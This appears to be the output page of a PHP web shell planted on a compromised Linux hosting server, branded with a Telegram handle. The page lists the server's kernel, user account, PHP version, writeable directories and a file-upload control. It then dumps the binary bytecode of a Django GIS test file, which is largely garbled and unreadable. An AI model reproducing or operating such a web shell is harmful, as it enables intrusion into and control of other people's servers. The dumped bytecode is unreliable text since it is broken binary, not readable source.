https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib64/python2.7/site-packages/django/contrib/gis/tests/layermap/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib64/python2.7/site-packages/django/contrib/gis/tests/layermap/tests.pyc
�
r�\c@@s�ddlmZmZddlZddlmZddlmZddlmZddl	m
Z
mZddlm
Z
ddlmZdd	lmZdd
lmZddlmZddlmZerUdd
lmZmZmZmZddlmZddlmZm Z m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*nej+j,ej+j-ej+j.ee/��ej0d��Z1ej+j-e1dd�Z2ej+j-e1dd�Z3ej+j-e1dd�Z4ej+j-e1dd�Z5dddddgZ6dddd dgZ7d!d!d!d"d#gZ8eeo9e
d$�d%efd&��Y�Z9d'e:fd(��YZ;eeoze
d$�d)efd*��Y�Z<dS(+i(tabsolute_importtunicode_literalsN(tcopy(tDecimal(tHAS_GDAL(tHAS_SPATIAL_DBtmysql(trouter(tsettings(tTestCase(tunittest(t
skipUnless(tupath(tLayerMappingt
LayerMapErrortInvalidDecimaltMissingForeignKey(t
DataSourcei(tCitytCountyt
CountyFeatt
InterstatetICity1tICity2tInvalidtStatetcity_mappingt
co_mappingtcofeat_mappingt
inter_mappingudataucitiesu
cities.shpucountiesucounties.shpuinterstatesuinterstates.shpuinvaliduemptypoints.shpuBexaru	GalvestonuHarrisuHonoluluuPuebloiiuTexasuHawaiiuColoradou!GDAL and spatial db are required.tLayerMapTestcB@seeZd�Zd�Zd�Zed�Zd�Zd�Zd�Z	d�Z
d�Zd	�ZRS(
c
C@s�tt�}d|d<tt�}d|d<tt�}d|d<x?|||fD].}|jt��ttt|�}WdQXqRW|jt��ttttdd�}WdQXdS(	u$Testing LayerMapping initialization.uFooFieldufoobaruNombreunameuCURVEupointNtencoding(RRtassertRaisesRR
Rtcity_shptLookupError(tselftbad1tbad2tbad3tbad_maptlm((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyt	test_init*s


cC@stttt�}|j�|jdtjj��tt�}|d}x�|D]�}tjj	d|dj
�}|j|dj
|j�|jtt
|d��|j�|j|dj
|j�|j|j}}|j|j|jd�|j|j|jd�qRWd	S(
u5Test LayerMapping import of a simple point shapefile.iitnameuNameu
PopulationuDensityuCreatediN(R
RR!RtsavetassertEqualtobjectstcountRtgettvaluet
populationRtstrtdensitytdttgeomtpointtassertAlmostEqualtxty(R#R(tdstlayertfeattcitytpnt1tpnt2((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyttest_simple_layermapCs


#c	C@s�|jt��-tttt�}|jdtdt�WdQXtjj	�j
�tttt�}|jdt�|jdtjj��t
t�}|dd }x�|D]�}tjjd|dj�}|jdkr|jtt|d��|j�n7|jd	kr;|j|jd�t|j�d�nxYt|j|j�D]B\}}|j|d|dd
�|j|d	|d	d
�qQWq�WdS(uCTesting the `strict` keyword, and import of a LineString shapefile.tsilenttstrictNiiR*uNameuLengthii(R RR
Rt	inter_shpRR+tTrueR-talltdeleteR,R.RR/R0tfidRR2tlengthR7tfloattzipR5tpath(R#R(R:tvalid_featsR<tistatetp1tp2((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyttest_layermap_strict[s$
&("cC@s�x�tttt�D]�\}}}tjjd|�}|j|t|j	��|j||j
j�|rtjj
d|�}|j||j��qqWdS(uGHelper function for ensuring the integrity of the mapped County models.R*N(RJtNAMEStNUMStSTATESRR-R/R,tlentmpolytstateR*RtfilterR.(R#tcounty_featR*tntsttctqs((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyt
county_helper~s"cC@scy�ttttdt�}ttttdd�}ttttdd�}x2ddfD]$}ttttdtd|�}qXWWn|jd�nXxTtd	ftd
ftdffD]1\}}|j|ttttdtd|�q�Wt	s|jt
tttt�ntt�}d|d<tt�}id
d6|d<|jtttt|dt�|jt
ttt|dt�ttttdtdd�}|jt|j
dtdt�tjjtdd�tdd�tdd�g�ttttdtdd�}|j
dtdt�ttttdt�}|j
dtdt�|j�dS(u_Testing the `unique`, and `transform`, geometry collection conversion, and ForeignKey mappings.t	transformt
source_srsi�uNAD83unameumpolytuniqueu9No exception should be raised for proper use of keywords.g@ufoobarumpolygonustateuStateunombreRARBR*uColoradouHawaiiuTexasN(unameumpoly(unameumpolygon(R
Rtco_shpRtFalsetfailt	TypeErrort
ValueErrorR RRRRR+RDRR-tbulk_createRRR](R#R(targtetbad_fk_map1tbad_fk_map2((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyt%test_layermap_unique_multigeometry_fk�s6&.)
	+cC@sPd�}tjjtdd�tdd�tdd�g�ttttdtdd�}d	d
tf}x'|D]}|jt	|j
d|�qqWd}|jt|j
d|dd�|j
d|�tjj�}|j
d|j��|j
d|dj�|�|j
dtd
d�dtdt�|j
dtdd�dtdt�tjjd�}|j
d|j��t|�\}}tttjd��\}	}
|j
d|j�|j
t|
t|j��|j
d|j�|j
t|	t|j��x;dD]3}|�|j
d|dt�|jdt�qWdS( u@Tests the `fid_range` keyword and the `step` keyword of .save().cS@stjj�j�dS(N(RR-RERF(((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pytclear_counties�sR*uColoradouHawaiiuTexasR^R`unameg@ufoot	fid_rangeiitstepi
iu	GalvestoniRARBiuHonoluluuPuebloiii�RXN(ii(uHonoluluuPueblo(iii�(RR-RfR
RRaRRbR RdR+RRER,R.R*tslicetNoneRDtorder_byttupletmapRQtindexRRRTRUR](R#RlR(t
bad_rangestbadtfrR\thitcothi_idxtco_idxRZ((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyttest_test_fid_range_step�s8		+
%%
cC@s�idd6dd6dd6dd6d	d
6}ttt|�}|j�ttt|�}|j�|jdtjj��|jdtjj��d
S(u4Tests LayerMapping on inherited models.  See #12093.uNameunameu
Populationu
populationuDensityudensityuPOINTupointuCreatedudtiiN(R
RR!R+RR,R-R.(R#t
icity_mappingtlm1tlm2((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyttest_model_inheritances



cC@s9idd6}ttt|dd�}|jdt�dS(u6Tests LayerMapping on invalid geometries.  See #15378.uPOINTupointR_i�RAN(R
Rtinvalid_shpR+RD(R#tinvalid_mappingR(((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyttest_invalid_layers
	cC@s}tt�}d|d<ttt|�}|jdtdt�|jtjj	�d�|jtjj
dd�jd�dS(	u2Tests that String content fits also in a TextFielduNameuname_txtRARBiR*uHoustonN(RRR
RR!R+RDR,R-R.R/tname_txt(R#tmappingR(((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyttest_textfields
cC@s}tjjtdd�}tt|t�}|jdtdt�|j	tj
j�d�|j	tj
j�dj
d�dS(	u, Test a layer containing utf-8-encoded name uch-cityuch-city.shpRARBiiuZürichN(tosRKtjointshp_pathR
RRR+RDR,R-R.RER*(R#R!R(((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyttest_encoded_name(s
(
t__name__t
__module__R)R@RPRDR]RkR|R�R�R�R�(((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyR's			#
	C	6				tOtherRoutercB@s,eZd�Zd�Zd�Zd�ZRS(cK@sdS(Nuother((R#tmodelthints((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pytdb_for_read1scK@s|j||�S(N(R�(R#R�R�((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pytdb_for_write4scK@sdS(N(Rp(R#tobj1tobj2R�((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pytallow_relation7scC@stS(N(RD(R#tdbR�((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pytallow_syncdb:s(R�R�R�R�R�R�(((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyR�0s			tLayerMapRouterTestcB@sDeZd�Zd�Zejeej�dkd�d��Z	RS(cC@stj|_t�gt_dS(N(Rtrouterstold_routersR�(R#((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pytsetUpAscC@s|jt_dS(N(R�RR�(R#((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyttearDownEsiumultiple databases requiredcC@s)tttt�}|j|jd�dS(Nuother(R
RR!RR,tusing(R#R(((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyttest_layermapping_default_dbHs(
R�R�R�R�R
RRTRt	DATABASESR�(((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyR�>s		(=t
__future__RRR�RtdecimalRtdjango.contrib.gis.gdalRtdjango.contrib.gis.tests.utilsRRt	django.dbRtdjango.confRtdjango.testR	tdjango.utilsR
tdjango.utils.unittestRtdjango.utils._osRt%django.contrib.gis.utils.layermappingR
RRRRtmodelsRRRRRRRRRRRRRKtrealpathR�tdirnamet__file__tpardirR�R!RaRCR�RQRRRSRtobjectR�R�(((sI/tmp/pip-install-XxeQeY/django/django/contrib/gis/tests/layermap/tests.pyt<module>s:"U9�	

https://t.me/AnonymousX5 - 2025